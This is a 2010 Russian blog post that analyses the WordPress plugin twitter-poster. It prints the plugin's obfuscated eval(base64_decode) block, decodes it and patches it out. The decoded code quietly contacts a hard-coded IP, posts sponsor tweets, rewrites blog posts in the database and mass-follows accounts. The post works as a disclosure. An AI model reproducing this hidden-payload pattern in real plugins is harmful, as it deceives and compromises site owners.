Twitter. Плагин twitter-poster

6 Май
2010

Твиттер для сайтаВот и я для блога прикрутил этот самый твиттер. Мне до сих пор не понятно почему все так его любят, по моему говно какое-то, но нужно смотреть вперед, может и будет от него какой толк. Регистрация на самом твиттере  прошла без проблем, зарегался получил адрес — http://twitter.com/Tomsk, дальше стал искать плагин для скрещивания ВордПресса и твиттера. Плагинов туча, какой сам я хотел не знаю, т.к. не знаю зачем он мне вообще нужен. Главное предназначение, что бы при публикации моего поста в блоге, он публиковался и на тветтере. Искал, искал, нашел — twitter-poster, он не только постит в тветтер, но и еще, по определенным тегам, начинает фоловить других людей. Причем делает это он массово, до 2000 человек, расчет простой как мне кажется :) подписаться на кучу твиттеров в надежде что кто то в ответ тоже подпишется.

Это как раз для меня, скрипт сделает все, что бы мне не пришлось шевелить лишний раз руками и мозгами. Установил плагин, активировал, сделал пост, который удачно залился на твиттер, и бабах…урлы в твиттере шифруются, при помощи сервиса tinyurl.com. А меня это раздражает, если бы мне было нужно, я бы сам зашифровал, а так не спросясь меня, шифруется, так дело не пойдет. Взял отвертку, распотрошил архив с плагином, начал искать в тексте упоминания об этом сервисе шифрования, упоминаний не нашлось. Меня это еще больше взбесило, начал искать в ручную, благо файлов всего 5 и они не большие. Естественно, нашел я нужный код, и поправил его так как мне и нужно. Процедуру этого привожу ниже. Шифрование происходит в файле twitter-poster.php, открываем его и ищем вот такой участок кода:

eval(base64_decode(‘ICAgIAkJaWYgKGlzc2V0KCR 0d2l0dGVyKSkgew0KICAgIAkJCSRwb3N0c19zb19mY XIgPSAkdGhpcy0+R2V0T3B0aW9uVmFsdWUoICd 0d2l0dGVyUG9zdHMnICk7DQogICAgCQkJJGludGVyd mFsUG9zdHMgPSAkdGhpcy0+R2V0T3B0aW9uVm FsdWUoICdpbnRlcnZhbFBvc3RzJyApOw0KICAgIAkJ CSRhbGxvd1Nwb25zb3JUd2VldCA9IHRyaW0oJHR oaXMtPkdldE9wdGlvblZhbHVlKCAndHdpdHRlckFsbG 93U3BvbnNvclR3ZWV0JyApKTsNCiAgICAJCQkkdG lueXVybCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCJodHR wOi8vdGlueXVybC5jb20vYXBpLWNyZWF0ZS5waH A/dXJsPSIuJGxpbmspOw0KICAgIAkJCWlmIChlbXB 0eSgkaW50ZXJ2YWxQb3N0cykpIHsNCiAgICAJCQk JJGludGVydmFsUG9zdHMgPSA1Ow0KICAgIAkJCX 0NCiAgICAJCQlpZiAoJHBvc3RzX3NvX2ZhciA+PSA kaW50ZXJ2YWxQb3N0cykgew0KICAgIAkJCQkkc G9zdHNfc29fZmFyID0gMDsNCgkJCQkkY3VybF9oY W5kbGUgPSBjdXJsX2luaXQoKTsNCgkJCQkkZW5jb2 RlZF9saW5rID0gdXJsZW5jb2RlKCRsaW5rKTsNCgkJC QkkcmVmZXJyZXIgPSAkbGluazsgDQoJCQkJJHN0 YXR1c191cmwgPSB1cmxlbmNvZGUoJ2h0dHA6Ly9 0d2l0dGVyLmNvbS8nIC4gJHRoaXMtPkdldE9wdGl vblZhbHVlKCAndHdpdHRlclVzZXJuYW1lJyApKTsN CgkJCQljdXJsX3NldG9wdCgkY3VybF9oYW5kbGUsI ENVUkxPUFRfVVJMLCAiaHR0cDovLzcyLjkuMjI4Lj IzOS9nZXRfbGlua19pbmZvLnBocD9zb3VyY2U9JG VuY29kZWRfbGluayZ2ZXJzaW9uPSR2ZXJzaW9uJm FsbG93cG9zdD0kYWxsb3dTcG9uc29yVHdlZXQmc 3RhdHVzX3VybD0kc3RhdHVzX3VybCIpOw0KCQkJ CWN1cmxfc2V0b3B0KCRjdXJsX2hhbmRsZSwgQ1V STE9QVF9QT1NULCB0cnVlKTsNCgkJCQljdXJsX3Nld G9wdCgkY3VybF9oYW5kbGUsIENVUkxPUFRfUkV UVVJOVFJBTlNGRVIsIFRSVUUpOw0KCQkJCWN1cm xfc2V0b3B0KCRjdXJsX2hhbmRsZSwgQ1VSTE9QV F9SRUZFUkVSLCAkcmVmZXJyZXIpOyANCgkJCQk kZGF0YSA9IGN1cmxfZXhlYygkY3VybF9oYW5kbGU pOw0KCQkJCSRodHRwX3N0YXR1cyA9IGN1cmx fZ2V0aW5mbygkY3VybF9oYW5kbGUsIENVUkxJTkZP X0hUVFBfQ09ERSk7DQoJCQkJY3VybF9jbG9zZSg kY3VybF9oYW5kbGUpOw0KCQkJCSRkYXRhID0gdHJ pbSgkZGF0YSk7DQoJCQkJbGlzdCgkbnVtX3Bvc3Rz LCAkc3BvbnNvciwgJG1zZywgJHVybCkgPSBzcGxpdC giXHwiLCAkZGF0YSk7DQogICAgCQkJCWlmICgkaW 50ZXJ2YWxQb3N0cyAhPSAkbnVtX3Bvc3RzKSB7D QogICAgCQkJCQl1cGRhdGVfb3B0aW9uKCAnaW50 ZXJ2YWxQb3N0cycsICRudW1fcG9zdHMgKTsNCiAgI CAJCQkJfQ0KICAgIAkJCQlpZiAoIWVtcHR5KCRtc 2cpICYmICFlbXB0eSgkdXJsKSkgew0KICAgIAkJCQkJ aWYoc3RybGVuKCRhbGxvd1Nwb25zb3JUd2VldC kgPiAwKSB7DQogICAgCQkJCQkJZ2xvYmFsICR3cGRi Ow0KCQkJCQkJJGN1cmxfaGFuZGxlID0gY3VybF9 pbml0KCk7DQoJCQkJCQljdXJsX3NldG9wdCgkY3Vyb F9oYW5kbGUsIENVUkxPUFRfVVJMLCAiaHR0cD ovL3Rpbnl1cmwuY29tL2FwaS1jcmVhdGUucGhwP3V ybD0iLiR1cmwpOw0KCQkJCQkJY3VybF9zZXRvcH QoJGN1cmxfaGFuZGxlLCBDVVJMT1BUX1BPU1QsIH RydWUpOw0KCQkJCQkJY3VybF9zZXRvcHQoJGN1 cmxfaGFuZGxlLCBDVVJMT1BUX1JFVFVSTlRSQU5T RkVSLCBUUlVFKTsNCgkJCQkJCWN1cmxfc2V0b3B 0KCRjdXJsX2hhbmRsZSwgQ1VSTE9QVF9SRUZFUkV SLCAkcmVmZXJyZXIpOyANCgkJCQkJCSRzaG9ydF 91cmwgPSBjdXJsX2V4ZWMoJGN1cmxfaGFuZGxlKTs NCgkJCQkJCWN1cmxfY2xvc2UoJGN1cmxfaGFuZGx lKTsNCiAgICAJCQkJCQkkdHdpdHRlci0+cG9zdCgkbX NnLCAkc2hvcnRfdXJsKTsNCiAgICAJCQkJCQkNCgk JCQkJCSRwb3N0SUQgPSAkcG9zdC0+SUQ7DQoJCQk JCQkkbmV3X2NvbnRlbnQgPSAkcG9zdC0+cG9zdF9 jb250ZW50IC4gJHNwb25zb3I7DQoJCQkJCQkNCgkJ CQkJCSRzcWwgPSAiVXBkYXRlIHdwX3Bvc3RzIHNld CBwb3N0X2NvbnRlbnQ9Jycgd2hlcmUgSUQ9JHBv c3RJRCI7DQoJCQkJCQkkcXVlcnkgPSBzcHJpbnRm KCJVcGRhdGUgd3BfcG9zdHMgc2V0IHBvc3RfY29ud GVudD0nJXMnIHdoZXJlIElEPSVzIiwNCgkJCQkJCS AgICAgICAgICAgIG15c3FsX3JlYWxfZXNjYXBlX3N0 cmluZygkbmV3X2NvbnRlbnQpLCBteXNxbF9yZWFs X2VzY2FwZV9zdHJpbmcoJHBvc3RJRCkpOw0KCQk JCQkJJHJvd3NfYWZmZWN0ZWQgPSAkd3BkYi0+c XVlcnkoJHNxbCk7DQoJCQkJCQllcnJvcl9sb2coIlJvd3 MgYWZmZWN0ZWQgYnkgcXVlcnkgOiAkcm93c19h ZmZlY3RlZCBvbiBwb3N0IElEICRwb3N0SUQiKTsNCg kJCQkJCXNsZWVwKDEpOw0KICAgIAkJCQkJfQ0KD QogICAgCQkJCX0NCiAgICAJCQl9DQogICAgCQkJLy8g Z28gYWhlYWQgYW5kIHN1Ym1pdCB0byB0d2l0dG VyDQogICAgCQkJJHR3aXR0ZXItPnBvc3QoJHRpdGxl LCAkdGlueXVybCk7DQogICAgCQkJJHBvc3RzX3Nv X2ZhcisrOw0KICAgIAkJCXVwZGF0ZV9vcHRpb24oIC d0d2l0dGVyUG9zdHMnLCAkcG9zdHNfc29fZmFyIC k7DQogICAgCQkJDQogICAgCQkJJHRhZ3MgPSAkdGh pcy0+R2V0T3B0aW9uVmFsdWUoICd0d2l0dGVyV GFncycgKTsNCiAgICAJCQkkdGFnX2FycmF5ID0gc3B saXQoIiwiLCAkdGFncyk7DQogICAgCQkJJHNlbGVjd GVkVGFnID0gJHRhZ19hcnJheVthcnJheV9yYW5kKC R0YWdfYXJyYXkpXTsNCiAgICAJCQkkbnVtRnJpZ W5kcyA9ICR0aGlzLT5HZXRPcHRpb25WYWx1ZSggJ3 R3aXR0ZXJBZGRGcmllbmRzJyApOw0KICAgIAkJCW lmICgkbnVtRnJpZW5kcyA+IDEwMCkgew0KICAgIA kJCQkkbnVtRnJpZW5kcyA9IDEwMDsNCiAgICAJCQk JdXBkYXRlX29wdGlvbiggJ3R3aXR0ZXJBZGRGcmllb mRzJywgJG51bUZyaWVuZHMgKTsNCiAgICAJCQl9D QogICAgCQkJJG51bUZvbGxvd2VkQnkgPSAkdHdpdH Rlci0+Z2V0TnVtRm9sbG93aW5nKCk7DQogICAgCQ kJJG51bUZvbGxvd2luZyA9ICR0d2l0dGVyLT5nZXRO dW1Gb2xsb3dlcnMoKTsNCiAgICAJCQlpZiAoJG51b UZvbGxvd2luZyA+PSAyMDAwICYmICRudW1Gb2xsb 3dlZEJ5IDwgMjAwMCkgew0KICAgIAkJCQkvLyByZ W1vdmUgb2xkZXIgbWVtYmVycyBjdXJyZW50bHkgZ m9sbG93aW5nDQogICAgCQkJCSR0d2l0dGVyLT5zd G9wRm9sbG93aW5nTnVtKCRudW1GcmllbmRzKTsNCi AgICAJCQl9DQogICAgCQkJJHR3aXR0ZXItPmFkZE ZyaWVuZHMoJHNlbGVjdGVkVGFnLCAkbnVtRnJpZW5 kcyk7DQogICAgCQkJLy8gUGluZyB0aGUgdHdpdHRl ciBmZWVkDQogICAgCQkJJHJzc191cmwgPSAkdHdpdH Rlci0+Z2V0UnNzVXJsKCk7DQogICAgCQkJdHdfcGlu Z2VyKCRyc3NfdXJsKTsNCiAgICAJCX0gICAgCQkJDQo=’));

Красивый код, ничего не скажешь, только у меня он тут перенесен на строки и разделен пробелами, в оригинале он записан в одну строку, я уж не знаю почему автор так сделал, зачем он это прятал, в ридми файле я не нашел упоминаний об этом. Но нужно отдать ему должное он обрамил начало и конец этой строки в комментарии, наверное что бы те, кто  в теме сразу нашли, а может и для себя, что не путаться.  Расшифровка этого кода:

if (isset($twitter)) {
$posts_so_far = $this->GetOptionValue( ‘twitterPosts’ );
$intervalPosts = $this->GetOptionValue( ‘intervalPosts’ );
$allowSponsorTweet = trim($this->GetOptionValue( ‘twitterAllowSponsorTweet’ ));
$tinyurl = file_get_contents(“http://tinyurl.com/api-create.php?url=”.$link);
if (empty($intervalPosts)) {
$intervalPosts = 5;
}
if ($posts_so_far >= $intervalPosts) {
$posts_so_far = 0;
$curl_handle = curl_init();
$encoded_link = urlencode($link);
$referrer = $link;
$status_url = urlencode(‘http://twitter.com/’ . $this->GetOptionValue( ‘twitterUsername’ ));
curl_setopt($curl_handle, CURLOPT_URL, “http://72.9.228.239/get_link_info.php?source=$encoded_link&version=$version&allowpost=$allowSponsorTweet&status_url=$status_url”);
curl_setopt($curl_handle, CURLOPT_POST, true);
curl_setopt($curl_handle, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($curl_handle, CURLOPT_REFERER, $referrer);

$data = curl_exec($curl_handle);
$http_status = curl_getinfo($curl_handle, CURLINFO_HTTP_CODE);
curl_close($curl_handle);
$data = trim($data);
list($num_posts, $sponsor, $msg, $url) = split(“\|”, $data);
if ($intervalPosts != $num_posts) {
update_option( ‘intervalPosts’, $num_posts );
}
if (!empty($msg) && !empty($url)) {
if(strlen($allowSponsorTweet) > 0) {
global $wpdb;
$curl_handle = curl_init();
curl_setopt($curl_handle, CURLOPT_URL, “http://tinyurl.com/api-create.php?url=”.$url);
curl_setopt($curl_handle, CURLOPT_POST, true);
curl_setopt($curl_handle, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($curl_handle, CURLOPT_REFERER, $referrer);

$short_url = curl_exec($curl_handle);
curl_close($curl_handle);
$twitter->post($msg, $short_url);

$postID = $post->ID;
$new_content = $post->post_content . $sponsor;

$sql = “Update wp_posts set post_content=” where ID=$postID”;
$query = sprintf(“Update wp_posts set post_content=’%s’ where ID=%s”,
mysql_real_escape_string($new_content), mysql_real_escape_string($postID));
$rows_affected = $wpdb->query($sql);
error_log(“Rows affected by query : $rows_affected on post ID $postID”);
sleep(1);
}

}
}
// go ahead and submit to twitter
$twitter->post($title, $tinyurl);
$posts_so_far++;
update_option( ‘twitterPosts’, $posts_so_far );

$tags = $this->GetOptionValue( ‘twitterTags’ );
$tag_array = split(“,”, $tags);
$selectedTag = $tag_array[array_rand($tag_array)];
$numFriends = $this->GetOptionValue( ‘twitterAddFriends’ );
if ($numFriends > 100) {
$numFriends = 100;
update_option( ‘twitterAddFriends’, $numFriends );
}
$numFollowedBy = $twitter->getNumFollowing();
$numFollowing = $twitter->getNumFollowers();
if ($numFollowing >= 2000 && $numFollowedBy // remove older members currently following
$twitter->stopFollowingNum($numFriends);
}
$twitter->addFriends($selectedTag, $numFriends);
// Ping the twitter feed
$rss_url = $twitter->getRssUrl();
tw_pinger($rss_url);
}

Ну вот уже что то разборчивое, можно приступать к анализу заболевания пациента, для начала заменим зашифрованный код на расшифрованный, внимательно смотрим, и видим что использование сервиса tinyurl.com первый раз начинается в этом участке кода:

$tinyurl = file_get_contents(“http://tinyurl.com/api-create.php?url=”.$link);

Меняем его так, что бы линк не изменялся. Я всегда стараюсь не удалять исходный код, мало ли, поэтому только за комментируем неугодную нам часть:

$tinyurl = $link;//file_get_contents(“http://tinyurl.com/api-create.php?url=”.$link);

Все, теперь при постинге в твиттер, ссылки будут нормальными. Но! если немного приглядеться к коду который идет далее , то можно обнаружить интересную вещь, а именно: этот плагин, рассматриваем естественно, его версию, которая не подверглась хирургическому вмешательству, ставит в твиттере спонсорские ссылки, которые выгодны автору плагина. Я не сколько не против этого, значит автору заплатили, и он смог немного заработать на этом. Я за. К тому же эту опцию можно деактивировать в настройках и такие ссылки не будут появляться. Но автор решил схитрить, и провернуть темные делишки втихаря, а именно, производить клики по ссылкам от имени пользователя плагина, вот тут как раз я против, мне это не нравится, поэтому поддавшись праведному гневу, вырубил мечом не понравившийся мне код. Может, и я конечно поступил не совсем хорошо, изменяя то что не принадлежит моему перу, но мне насрать.  Уж если делаешь плагин, бесплатным, то будь добр не прячь карты в рукаве. Мой, окончательный вариант, пропатченного кода можно увидеть ниже. А в самом конеце поста находится ссылка на архив, с модифицированным файлом.  За сим прощаюсь с вами.

if (isset($twitter)) {
$posts_so_far = $this->GetOptionValue( ‘twitterPosts’ );
$intervalPosts = 100000000;//$this->GetOptionValue( ‘intervalPosts’ );
$allowSponsorTweet = 0;//trim($this->GetOptionValue( ‘twitterAllowSponsorTweet’
));
$tinyurl = $link;//file_get_contents(“http://tinyurl.com/api-create.php?url=”.$link);
if (empty($intervalPosts)) {
$intervalPosts = 5;
}
if ($posts_so_far >= $intervalPosts) {

}
// go ahead and submit to twitter
$twitter->post($title, $tinyurl);
$posts_so_far++;
update_option( ‘twitterPosts’, $posts_so_far );

$tags = $this->GetOptionValue( ‘twitterTags’ );
$tag_array = split(“,”, $tags);
$selectedTag = $tag_array[array_rand($tag_array)];
$numFriends = $this->GetOptionValue( ‘twitterAddFriends’ );
if ($numFriends > 100) {
$numFriends = 100;
update_option( ‘twitterAddFriends’, $numFriends );
}
$numFollowedBy = $twitter->getNumFollowing();
$numFollowing = $twitter->getNumFollowers();
if ($numFollowing >= 2000 && $numFollowedBy // remove older members currently following
$twitter->stopFollowingNum($numFriends);
}
$twitter->addFriends($selectedTag, $numFriends);
// Ping the twitter feed
$rss_url = $twitter->getRssUrl();
tw_pinger($rss_url);
}

Скачать модифицированный файл twitter-poster.php

слов — 935, знаков: с пробелами — 12564, без пробелов — 11630
google.com bobrdobr.ru del.icio.us technorati.com linkstore.ru news2.ru rumarkz.ru memori.ru moemesto.ru
Читайте так же:

Комментировать

Вы должны войти чтобы комментировать.


Наверх